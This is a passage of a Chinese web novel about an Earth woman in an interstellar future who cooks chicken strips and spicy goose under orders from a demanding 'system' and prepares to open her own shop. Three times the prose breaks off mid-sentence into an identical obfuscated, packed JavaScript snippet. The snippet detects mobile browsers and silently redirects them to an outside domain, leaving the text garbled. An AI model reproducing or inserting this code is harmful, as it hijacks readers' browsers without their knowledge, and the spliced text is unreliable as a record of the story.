今天要换个口味，明天保不齐就要指望她做出星际版螺蛳粉，真让她做螺蛳粉造福第十二星系，那还不如直接杀了她来得痛快。 所以系统的话，就当刚刚风大没听到吧。 汪玉问她有没有什么特别的食材要帮忙带回来，没有的话就按照往常的分量。 宋秋光毎日下午在克里斯汀摆柜台卖吃的，晚上还要开直播，面对上下十二个星系的观众，对食材的需求量其实已经远远超过了克里斯汀，所以汪玉现在的薪资也有一半是她在付。 “明天可以帮我买五千斤的鸡肉吗？”收获了汪玉震惊的眼神，宋秋光只能苦笑。 她当然是个普通人类，五千斤鸡肉本来是她想都不敢想的数量，她就是再怎么想让直播间的观众都能吃到她做的饭菜，也没想把自己这条小命搭进去。 系统这个统吧，心眼太小，刚刚她只不过是照旧高兴的时候听听，不高兴听就不听，谁知道系统突然宣布了她第三个任务完成，把转盘转得马上要起飞一样。 最后转盘停在了“无骨鸡柳一顺到底小机器”上，除了腌制、调味和油炸的部分，其他都可以用这台机器完成。 不过宋秋光还是怀疑这事儿有黑幕，保不齐是系统想吃，所以才给她安排了这神奇的第四个任务。 22. 无骨鸡柳 清晨，窗外下起了雨，雨落下本来是悄无声息的，但落在笼罩了整个段家的光网上，每一滴雨滴就有了风吹铃铛声。 段恙就是在这样的雨声中醒来的，刚睁开眼视物还不甚清晰，他照旧先看一眼司空住有没有为他变出一张前往第十二星系的票，然后才从床上起来。 怎么还是没有？ 段恙揉了下睡乱的头发，然后突然意识到自己看到了什么。 他连忙把屏幕拉到手边，再度确认了一遍，司空住大约是忙狠了，惜字如金地扔给他一张荷鲁斯号星舰的船票。 段恙和司空住认识这么多年，知道这货是个脸冷心热的主，也没多在意，打过去五千星币以示他看到了。 说起来上次过去第十二星系，荷鲁斯号上人也不少，但是船员看着他的眼神都很陌生，好像青天白日地就看见了鬼，又好像他是第一位上船的乘客似的。 想来司空住应该是还做着什么副业供养整艘星舰，要不然那群人能靠什么过活呢？ 段恙还是第一次收到荷鲁斯号的船票，它采用了复古得过分的全息邮件样式，他的指尖刚触碰到虚空中纸张的投影，真正的船票才终于如花开般展现出来。 船票右上角是司空家的星海家徽，点点银色的繁星围绕着天路之海，像女孩发间飞扬的闪亮缎带。 船票的正中央是他不认识的某个星球上的某处景色，深蓝色的树海仿佛无穷无尽。 他翻到背面，船票一下子变得冷冰冰的，只记载了具体的出发日期与时间，从哪个星系的哪号渡口出发，好在他的房间号还是和上次一样。 “你醒了吗？”段协的声音从门外传来，经过了漫长的传播过程，最后几乎失了真。 段恙把船票合上，看着它躲进了信封里，没想到司空住也整起这花里胡哨的东西，他还正好就吃这套。 “刚起，怎么了哥？” 段协推门走了进来，行走间带来一阵步果的香气。 段恙一看他哥板正地穿起了军装，还有什么不知道的，只默默地把藏起来的食物拿了出来，一股脑地递给他。 段协眉毛一挑，“谢了，第六星系的战线拉得太长，有点制不住那些东西，我得提前回去了。” 他想说什么，但最终只是用力地拍了拍段恙的肩膀，什么话也没说出口。 段恙低着头，尽量不露出自己的眼神，试图勾起他哥哪怕一点点的愧疚之心。 段协没有犹豫，还是走了。 空气里漂浮着米粒大小的金色粒子，这种俗名叫做单边羽毛的粒子是第二星系的特色，能让人在保持心情愉悦的同时，还可以极大程度地减缓人体的衰老速度。 二十七年前，段家把新庄园建立在这座单边羽毛浓度最高的山脉之间，一切都布置得很好，唯有一点，段家非常冷清，在段恙的记忆里，别说是活生生的人了，连机器人都很少见。 船票上的日期在十六天之后，本该是段协说好休假结束的第三天，段恙简单地收拾了一下，把东西都塞进储物器里。 他又想到自己在北区的那个家，满天的飞船、星艇和飞行器从早到晚地路过他的居所，司空住来过几次，回去的时候总说自己的耳朵受到了很不人道的对待。 但他很喜欢这里，段家没有什么不好，只是太安静了。 到家已经是下午，段恙把自己关在房间里，只留下智脑和到处乱跑的家务机器人，光线撒在他的桌面上，造就许许多多的影子出来。 写书当然不是个轻松的活计，安排情节，掌握节奏，什么人说什么话，什么时候应该发生什么，琐碎得要命。 段恙和淡蓝色的屏幕大眼瞪小眼了两个小时，不由得怀念起写《远星小食》的时候，宋秋光的双手像是有魔力，做出的每一道菜都美味可口。 他写的时候也不用过多考虑，文字就仿佛有了生命，从他手中倾泻而出。 他实在想不出新书的主角到底该是怎样的性格，干脆起身在房间里走过来走过去，走得累了，就停下来坐在露台上看看外面，走走停停之下，人是累得够呛，书没写多少。 智脑提醒他宋秋光开播了，段恙立马把所有东西抛之脑后，看起她的直播来。 不过今天她直播的时间好像有点早，他看了眼时间，七点四十三分。 星际的另一边，宋秋光觉得自己可怜的腰不复存在，即使有系统倾情提供的“无骨鸡柳一顺到底小机器”帮忙，五千斤鸡肉仍然让她浑身像被坦克碾过似的，累得脑瓜子嗡嗡的。 在她很小的时候，曾经以为鸡柳是鸡腿肉做的，因为小小的她也能吃出鸡胸肉的干而柴，实在和又香又脆的鸡柳搭不上一点关系。 但鲜嫩多汁的无骨鸡柳确实就是鸡胸肉做的，她麻木地把一桶桶处理干净的鸡胸肉倒进机器里，等待着颇有系统风格的机器左三圈右三圈地推出切成手指粗细的细条。 她倒了多少桶鸡胸肉来着，宋秋光想了半天没想起来，只得作罢，考虑到今天准备的原材料比往日充足得多，她提早开了直播。 由于她平日里直播的时间还挺稳定的，提前进来观看的观众数不太多，显得有点冷清。 好在她也没有多余的精力回评论，干脆就当没看见，用葱姜蒜和汪玉帮忙调的料汁腌制起切好的鸡胸肉条。 腌制好的鸡胸肉条先是来上一层生粉，再裹上满满的面包糠，准备工作就完成了。 她把油烧到七成热，之后一直用的小火，鸡胸肉条刚入锅，就被炸出漂亮的金黄色，用筷子不断地翻动，过了两三分钟，等到它们呈现出微微焦黄的状态，就可以全部捞出来了。 宋秋光炸着鸡柳，把炸好的鸡柳捞到巨大的盆中，这次倒是没有人直接从锅里开启品尝模式了，想来星际居民的智商是不低的。 但是她炸一点，观众就吃一点，一直到所有腌制好的鸡胸肉条被炸完，宋秋光愣是没用上第二个盆。 她准备的孜然粉和辣椒面也没消耗多少，这倒是她意料之中的事情，毕竟大多数观众只顾着吃，不怎么听她说话。 送走了嚷嚷着“主播主播我们还没吃饱”和“再做一点吧求你了，我什么都能做”的直播间观众，宋秋光洗了个澡，把即使是星际也难以避免的油烟味洗掉，静静地坐在床边等头发被风吹干。 时下还是春天，夜里还有些凉，她觉得差不多了，就起身把窗户合起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406917|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统自从觉醒了吃东西的能力后，就到处吃吃吃，今天炸了那么多鸡柳，很难说有多少进了它的肚子。 不过，系统也会有肚子吗？ 【……管好你自己。】 宋秋光本来想点点头敷衍过去，转念一想，“但是这也不能怪我啊，我是什么样你能看得一清二楚，我却连你是什么样子都不知道。” 【就算我真的降临到你眼前，你也看不见我。】 “其实我也不是很关心你长啥样。”她有时候觉得和系统讲话怪费劲的，系统说能听见她的心声，不该听见的一句没落下，该听见的时候又装没听见了。 “只是在心疼我做了那么多鸡柳，某些系统光知道下达任务，发奖励就慢悠悠的。” 系统语塞了片刻，立马把第四个任务的奖励甩到她面前。 看起来这个任务真的是它自己为了想吃鸡柳搞出来的，不太正规，都不给她转转盘的机会。 【闭嘴吧你，我听得见！】 宋秋光缩了缩脑袋，去看系统给她的任务奖励，“第十二星系的一块地皮，你可以在上面建造一间店铺，面积为四十个平方，目前的价格为十八万星币。” 宋秋光瞪大了双眼，不过她深谙系统的路数，很快找到了下面一行隐藏得很好的小字，“还款期为一年以内，系统所提供的贷款利率为3.6%，如果您选择一到三年，利率将提高到4.95%，感谢您的支持和配合。” 怎么说呢，看到系统还是那个小气鬼系统，没有突然变异成送她一块地皮的大方系统，她竟然有一丝丝诡异的安心。 那块地的全息投影被宋秋光缩小到可以放在手掌心的尺寸，上面满是茂密的杂草，很难说是地上长满了草，还是草上长了块地。 她来到第十二星系不久，这段时间里她最感谢的两个人就是克里斯汀和汪玉。 克里斯汀收留了她，让她免于睡大街，汪玉和她成为很好的朋友，甚至会挡在她的面前，说实话这种事连她自己都做不到。 但系统的奖励不是无的放矢，她确确实实也有离开克里斯汀，自己开一家小店的想法，不是每日下午那张摆放在克里斯汀中央的柜台，而是完完全全属于她的店铺。 店里的光线要很好，如果不好的话，灯光要开得足足的，让路过的行人也能一眼看见里面售卖的食物，她就坐在摆着包子、馒头、面包或者别的什么的柜台后面，等待着顾客推门进来。 这样的想象当然很美好，她还可以在地皮上建上三层小楼，一楼做商铺，二楼是厨房，三楼是她的书房、卧室和游戏房，她眼馋星际的游戏已经很久了，只是苦于她没有星际公民认证，大多数游戏都把她拒之门外。 “但是我拒绝。”宋秋光说，然后倒在床上。 星网是个神奇的地方，她在里面买到了很多白荒，价格极其便宜，四公斤白荒只要六十个星币，还没有邮费贵。 最开始她只是抱着试试看的心态，五千多年后的现在，大家都不太在乎生活趣味，克里斯汀为她准备了很多，但不包括柔软的、对睡眠至关重要的床垫。 她把白荒一层压着一层地铺在床上，感觉自己已无痛进入了天堂。 23. 川城麻辣鹅 如同正宗徽城板面是冀城特色，赣城小炒在浙城闻名一样，问一个川城人川城麻辣鹅是什么，她大多只会投来疑惑的眼神，表示自己从来没听说过这道菜。 这是自然，因为川城麻辣鹅不是川城的菜色，而是是相距一千七百多公里之外的淮城特色。 宋秋光倒是想在星际弘扬一下华夏美食文化，受限于她本人厨艺不精，只是会做一些家常菜色。 前些日子答应了段恙做佛跳墙，完全是在拿自己的命开玩笑，更是让她数次萌生了退出本来也没进去的“美食界”的想法。 至于她为什么突然做起川城麻辣鹅这道家乡菜，还要感谢在让她开店这件事上异常坚持的系统，如从来都不听人话的霸总一般，拒绝了她的拒绝。 “我没有开过店，说实话我连每天想着做什么菜就死了无数脑细胞了。”她说。 【废话么这不是，我也没开过。】 “我还舍不得汪玉和克里斯汀，你给的那块地从这里过去得花三个小时吧。”她又说。 【其实我也挺舍不得她俩的。】 “那你为什么这么坚持，非要让我跑那么远去开店？” 【反正你得过去开店，不然任务五没办法完成。】 “我忍你很久了，你不就是发布任务的系统吗，换一个任务不就得了？”宋秋光问，“再说了，你不是厨神系统吗，第一个任务是让五十个人品尝到我做的饭菜，第二个任务增加到了五百人，第三个任务是让我打好基本功，这个倒还靠点边，第四个任务是做五千斤鸡胸肉，这些任务加起来，横看竖看也不像是培养厨神的啊。” 【有没有可能我也是给别的系统打工的？】 宋秋光没料到会得到这么个答案，原以为她是在星际给老板打工，结果老板也在给别统打工，别统压迫系统，系统再压迫她，她真想撂挑子不干了。 【而且，想想你的家，想想你的妈妈和姥姥姥爷，想想年糕。】 “你真的能听见我的心声吗？”宋秋光面无表情，她的思绪却如海浪般翻滚，最后停留在年糕的小小墓碑上。 她很喜欢吃年糕，年糕有着白白胖胖的外观和糯叽叽的口感，所以在姥爷送了她一只小狗之后，她就给它取名叫年糕，小狗和年糕一样白，撒欢跑起来的时候更像是一块胖嘟嘟的年糕长了四条腿，大白天就成了精。 但是，年糕已经死了，正如她的姥姥和姥爷一样。 宋秋光忽然意识到，她之前强烈地、迫切地想要回到地球，那愿望其实完全站不住脚，她哪里还有家呢，就算回去了又能怎么样呢？ “第五个任务是什么？” 【任务五：在广阔的星际中找到你的厨神之心，你为什么选择做菜，你为什么要做出一道道美食，你有没有真正的成为厨神的觉悟？让我看到你的决心。】 这个任务本身还像点样，但是系统不惜狠戳她痛处，也要让她开店到底是图什么，找到劳什子厨神之心，和开一家小店之间有个毛线关系啊？ 系统发完任务就开始装死，但她此时也不是很想和系统说话，干脆靠在柜子上思考起来。 首先，系统之上还有系统，说明它的自主权没有她之前想得那么高，连作为一个系统立身之本的任务发布权都没有。 那些仿佛打一棒给一个甜枣的奖励，是否也出自系统本意也很难说，保不齐就连它说了吃掉的食物，实际上也没有真正吃到。 其次，开一家店是板上钉钉的事情了，虽然她并不想离开克里斯汀，但也不得不考虑系统奇怪的态度，以及那个倒霉的厨神之心。 任务描述里问她为什么要做菜，天地良心，作为一位正正经经的五千年前的地球人，她在星际除了被考古学家（很难说还有没有考古学家这个职业）拉去研究之外没有别的价值，总不能真靠着“有借必有贷，借贷必相等”过活吧。 最后总结起来，就是她倒了八辈子血霉，才遇见了系统。 “你真的要走吗？亲爱的。”餐馆里，克里斯汀的眼眶里迅速聚集起泪水，似乎只要宋秋光敢点头说一句是，眼泪就即刻决堤。 宋秋光忍住拥抱克里斯汀的冲动，点了点头。 汪玉坐在旁边十分沉默，但她突然起身，也不管克里斯汀被惊得眼泪都忘了流，“你缺人手的话我可以跟你过去。” “会不会太麻烦你，”汪玉愿意来给她帮忙完全是意外之喜，“而且克里斯汀……” 她看向一天之内痛失两员大将的克里斯汀，等待着她的回答。 克里斯汀的眼泪还是掉了下来，她是个很慈祥的老太太，白发、皱纹和佝偻的身躯在她身上并不代表着衰老，而是岁月的勋章。 “其实在我第一次看见你的时候，我就预见到会有这么一天，”克里斯汀说，她的鼻头红得像草莓，“亲爱的，我祝愿你们开起一家温馨的小店，然后邀请我这个不讨人喜欢的老姑娘前去光顾噢。” 宋秋光实在没忍住，轻轻地抱住了止不住哽咽的克里斯汀。 “你们在哭什么？”汪玉一脸莫名其妙，“飞行器来回不是只要半小时吗，我也没打算从克里斯汀离职啊。” 她顿住了，克里斯汀也顿住了，哈哈哈今天天气真好啊，光照进来，风吹进来，带着些许热气，也许夏天就要来临。 婆娑星同第十二星系的其他星球一样，按照方位依次划分为东区、西区、南区、北区和中央区。 东区是贫民窟，临近东区的西区是温饱没有问题的低收入人群居住地，南区和中央区居住着中产阶层和政府职员，北区居住的富豪们则基本不是下层星系的原住民。 克里斯汀处于东区和西区的交接地带，系统强迫她贷款购买的那块地则完全处于西区内，面对的顾客不再是会对潘做出来的饭菜比较宽容的类型。 拜托了汪玉用飞行器带她过去，宋秋光看见了一道界线，左边是东区，有人居住的建筑像草原上的一朵朵蘑菇，其他大多数地方都覆盖着一层厚厚的野草，绿意一直蔓延到天际。 右边是西区，看起来就和她印象里的乡村没什么区别了，楼房的高度基本在四层以内，很少有高度特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416153|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突出的建筑，在路上行走的人也比东区多得多。 也不知道系统是从哪里看上这块地的，汪玉降落在松软的满是杂草的地面上，和她一起望着面前这块地，二人沉默良久，宋秋光努力地挥了挥拳头，给自己打气。 “其实也不是很差。”如果汪玉没有差点站到别人家的花园里，这话也许能有些说服力。 宋秋光也不是四体不勤五谷不分的主，没有镰刀，她干脆蹲下来，空手拔掉地上长得很欢快的草，和地球上不同，凑近了看，这些草几乎漂亮得像是一整块水晶，草叶舒展，折射出点点碎光。 “这草……”宋秋光问，“能吃吗？” 长得这么好看，味道应该也不会差到哪里吧，接受到她疑问的汪玉一脸茫然地摇了摇头，随即认命似的陪她拔起草来。 天色渐晚，周围才陆陆续续有人回来，路过她和汪玉时总是要多看两眼，一直到回到自己家，还要从放下的窗帘后面投来探究的眼神。 "圣主在上，"一个脆生生的女孩声音响起，“你们是在剥夺植物的生存权利，这太残忍了。” 宋秋光回头看去，差点被闪瞎了眼，也不知道星际居民的平均颜值为什么这么高，身后的这个小女孩比洋娃娃本娃还要洋娃娃。 看到呆住的宋秋光和累得机械性地在拔草的汪玉，女孩抱紧了手里的玩偶，噔噔噔地跑开了。 过了一会儿，她又跑了回来，“你们为什么不联系市政厅帮忙除草呢？不用花一个星币，还尊重它们的生命。” 闻听此言，汪玉直接不干了，顺势坐倒在地，宋秋光握着一把草，目光呆滞，“到底谁会知道这种事啊？” 还是吃了不了解的亏，这种亏她在来到星际之后吃了不少，吃得那是一个相当满足，宋秋光痛定思痛，决心不再吃这种没必要的亏。 休息了一会儿，夜空中出现了数不清的星，周围的小楼和平房都亮起了温暖的灯光，孩子的尖叫声，从各家窗口里传出的饭菜香味，家人之间的谈笑，都是离三号渡口很近的克里斯汀难以拥有的东西。 宋秋光看向汪玉，汪玉换了个更舒服的姿势，躺在拔下来的草堆成的草垛上，“我忽然觉得很幸福。” 她也是，宋秋光用双手环抱住双膝，要是背后的草地里没有响起幽幽的虫鸣声，她和汪玉兴许还能多坐会儿。 在新店建成之前，她还是住在克里斯汀，汪玉又拉着她用飞行器回到克里斯汀，夜里和白天不同，半空中她可以看见很远的地方的灯光。 【真是吃川城麻辣鹅的好时候啊，你是不是也很想吃啊？】 “？”夜凉如水，风景宜人，宋秋光不理解系统怎么有那么大脸说这煞风景的话。 【不做的话你会后悔的喔，别怪我没有提醒你。】 “嘿我这暴脾气，我还真就不做了。”系统潇洒地把一百个积分加在她谁看了都要说一声可怜的账户上，众所周知，想从系统那里赚积分和杀了它一样，这样的机会实在难得，宋秋光即刻哑了火。 “我做，我做还不行吗？” 24. 香料市场 川城麻辣鹅里，吸饱了汤汁的干子也是一绝，干子是一根拧得像麻花一样的豆制品，有的地方也管它叫素鸡。 不过在宋秋光家那边，素鸡指的是另一样东西，用豆腐皮堆叠出来的一片片圆干，呈虎皮状，很能吸收汤汁。 不过这两样东西说白了，就是普通胡萝卜和水果胡萝卜的关系，素鸡也不过是干子切成片再油炸的产物。 川城麻辣鹅本身算是道卤菜，大多数淮城人不会想着自己在家做。 宋秋光当然也是，再说她大学四年是在梧城念的，要不是系统嘴里蹦出这个名字，她其实也不一定能想起来。 但她叫不醒一个装睡的系统，只好看着晶体里的菜谱发愁。 说起来也是奇怪，段恙给她的晶体里什么都有，连川城麻辣鹅这道江省之外的人未必知道的特色菜都有，但有菜谱传世，大多数食材也保留了下来，最重要的厨艺却广陵散绝了呢？ 现在甚至要指望她这个一开始只把做饭当作省钱手段的人，这世道真是神奇。 想着总是麻烦汪玉用飞行器带着她飞来飞去也不好，宋秋光打算去西区转悠一圈，看能不能买到飞行器，买不到的话搜寻一下川城麻辣鹅要用到的香料也行。 “你准备去西区买飞行器？”汪玉像是听到了什么匪夷所思的话一样，拉住她不放，“有时候我真觉得你是从地底下爬出来的古地球人。” 宋秋光扯了扯嘴角，汪玉猜对了一半，她一点也不古，她是穿越到星际之前刚死的地球人，新鲜得不得了。 “你在哪个区都买不到飞行器的，无论是东区西区还是南区中央区，我们所在的星球上也是如此，你就算去往下层星系的其他星系也是一样。”汪玉说。 “那你的飞行器是？” 汪玉指向三号渡口，那里停着一艘巨轮，正是当初把她带到第十二星系来的那艘。 “那艘船一开始是为了被驱逐的上层星系居民和中层星系居民而开设的，由居民原来所属的星系出资，其他人是没有办法乘坐的。” “但后来有这么一群人发现，她们也可以乘坐，而不受丝毫限制。我们管她们叫‘星屑’，因为她们没有任何一个星系的居民身份，不需要哪个星系出资，所以反而能在那艘船上自由出入。” “我的飞行器就是靠着她们带进来的，”汪玉道，“别用那种眼神看我，秋光，你的道德感未免太高了。” 宋秋光心说汪玉对她的滤镜深得过头，她只是在想，早知道能做这生意，当时她从第七星系过来的时候，怎么也得背一麻袋飞行器，不，两麻袋。 【话说你干嘛不用索菲亚的飞船，还不要花钱。】 宋秋光冷笑一声，那是她不用吗，她根本用不了好吗，“我又不是真正的索菲亚，怎么用得了她的飞船？” 【你当然可以啊，要不然我干嘛选择索菲亚。】 “你为什么不早说？” 【0个人问我。】 宋秋光深感自己哪一天被气出乳腺结节，一定是系统干的。 飞行器的事情勉强算是解决了，汪玉还在思考她描述的那些香料在哪里能买到。 宋秋光也不急，在星网上到处浏览，恶补星际常识。 “我明天到第十二星系。”宋秋光在看上中下三个星系的通行路线，正好瞄到段恙发来一句简短的消息。 这消息显得有些高冷，要是他两天前没有缠着她再寄一些无骨鸡柳，这高冷也许会更有说服力。 前些日子炸了整整五千斤鸡柳，实在把她伤得不轻，加上要忙开店的事情，直播也随之改成了上一休一。 有时候她也会想，直播间的观众还是没吃过好的，因此对她宽容得过了头。 且不说她每次做的分量根本不够观众吃，就是这个完全不固定的直播时间，搁在地球上，她应该早就被骂得退出直播这个行当了。 但分量的问题她暂时也没法解决，除了汪玉和克里斯汀，她在星际并没有可以拜托的人。 她也考虑过招人，不过这回用不着问汪玉，她就查到了自己顶着索菲亚第七星系“弃民”的身份，至少要在第十二星系踏踏实实地工作五年，没偷税漏税过一次，才能有这个资格雇佣当地的居民。 因此，她也没有实际意义上的雇佣汪玉，而是和之前一样，将相应数额的星币从克里斯汀那里过一手，再转交给汪玉。 “估计只有西区黎刹人开的香料市场才能买到你说的东西了。” 汪玉不是很情愿去那里，黎刹人是很有战斗热情的类人种族，对很多东西的理解都和纯种人类不一样。 你对黎刹人展露温暖的笑容，她可能以为你在挑衅她，等到你被打得直不起身，很灵活地开始跪地求饶，她可能更加愤怒，觉得你还是在挑衅她。 汪玉也被黎刹人袭击过，不巧的是，她不爱忍气吞声，当时就狠狠地报复了回去。 算了，她们应该没那么记仇，汪玉纠结片刻，简单地乔装打扮了一下，还是带宋秋光去了香料市场。 香料市场和普通的市场不同，色彩上十分养眼，气味上也非常浓郁。 大多数香料店都会把香料堆在店外，似乎很有些美术造诣，按照明暗和色系把香料排列得整整齐齐。 现舂的红色辣椒粉，更是让宋秋光扎扎实实地打了个喷嚏。 第三次路过用巨大袋子装起来的红葱头时，宋秋光凑齐了一多半要用到的香料。 整个市场弥漫着香料复杂的辛香，又掺杂着不知名的甜香，让人觉得阵阵困意袭来，眼皮都变得沉重了。 “山奈和甘草？”店主摇摇头，“从来就没听说过这两个名字。” 这已经是第六个这么说的店主了，宋秋光倒是接受良好。 虽然在地球上，山奈和甘草是相当常见的香料，但毕竟她现在身在星际，有自然很好，没有也就算了。 然而汪玉不太甘心，领着她在熙熙攘攘的人潮中来回穿梭，似乎要找到所有需要的香料才肯罢休。 要是星际也能看到微信步数就好了，宋秋光想，她今天走得腿肚子直打摆，恐怕明天是再起不能了。 【33758。】 说时迟那时快，宋秋光拽住了汪玉的衣袖，待到汪玉投来疑惑的眼神时，她用小时候深耕无数湾城偶像剧的经验，完美地向汪玉展现了什么叫做平地摔。 把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432154|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买到的几袋子香料通过青鸟传回克里斯汀，汪玉一边扶着她，一边在心底暗暗地骂起黎刹人，都那么有钱了，怎么就不知道把道路铺平整点？ 回到克里斯汀的时候，门外的天色已经黑得伸手不见五指，汪玉一直把她送到房间里。 临走的时候还叮嘱她要是严重的话，不要怕麻烦克里斯汀，离这里不远就有一家诊所，诊所里的医生在收取的诊费上是黑心了一些，但是医术也是没话说的。 宋秋光实在心虚，一直到她听见汪玉飞行器远去的声音，才敢从床上爬起来整理香料。 白日里因着香料珍稀，市场中的要价一个比一个狠，有些店主更是恨不得把她的皮也扒掉一层。 第二天，从日行三万步的伟大成就里缓过来的宋秋光，终于全盘准备好了能买到的所有食材和香料，调料部分仍然由系统出品的调料大礼包负责。 卤菜鲜红诱人的色泽往往来源于糖色，在来星际之前，她对炒糖色敬谢不敏，来到星际之后，经过许许多多菜色的锻炼，她已经能炒得一手好糖色了。 炒糖色最重要的就是看准时机。 锅中倒入少许油，放入适量冰糖，全程开小火慢慢翻炒，直到冰糖由原来雪白的晶体融化成看不清原色的糖液，不断冒出细密的小泡。 等到有焦糖香味时，快准狠地倒入热水，最后再煮上一会儿，炒好的糖色就从锅里舀出，以备后续取用。 川城麻辣鹅用到的香料她找到了十之七八，剩余的部分系统死活不肯帮忙。 宋秋光只好将就着先做一锅出来再说，把准备好的香料用温水浸泡片刻。 她把煮好的高汤倒入锅中，放进香料，先大火煮开，转小火耐心地熬煮，再把先前炒好的糖色，以及调料大礼包里的青花椒、白胡椒粉和干辣椒等也加进去，卤菜中最重要的卤水就制作完成了。 在川城麻辣鹅中，辣椒油也颇有些讲究，仿佛决定了它本身的口味是否会泯然众人矣。 宋秋光用热水打底，把辣椒油和葱花、炸好的花生和切得细碎的蒜瓣混合起来，她尝了一口，辣椒油的鲜香和麻辣同记忆里家中总买的那家没什么区别，不过她也觉得自己的眼泪有点控制不住。 说来也好笑，川城麻辣鹅听起来重点应该是在麻辣和鹅上，其实大多数人都是冲着干子和辣椒油去的。 汪玉的妈妈按照宋秋光的口头描述，竟也成功地做出了星际版干子，还倾情赞助了十数根。 宋秋光把处理好的鹅放进盆中，很遗憾她没找到不锈钢材质的盆，只好退而求其次使用了星际普遍使用的乳白色盛器中。 把调好的辣椒油倒入盛器，加入必不可少的卤水，均匀地翻拌几下，折磨了她好几天的川城麻辣鹅终于做好了。 这下系统不舍得装死了，又鬼鬼祟祟地把一多半的川城麻辣鹅转移走。 宋秋光留好给汪玉妈妈的一份，感谢她的鼎力支持，就下楼召唤了汪玉和克里斯汀过来一起吃。 “看来我来的不是时候？”段恙笑了笑。 恍惚间他记起，半个多月前，也是这样的天气，他推开克里斯汀的门，望见一个因为先搬红豆还是绿豆苦恼的身影。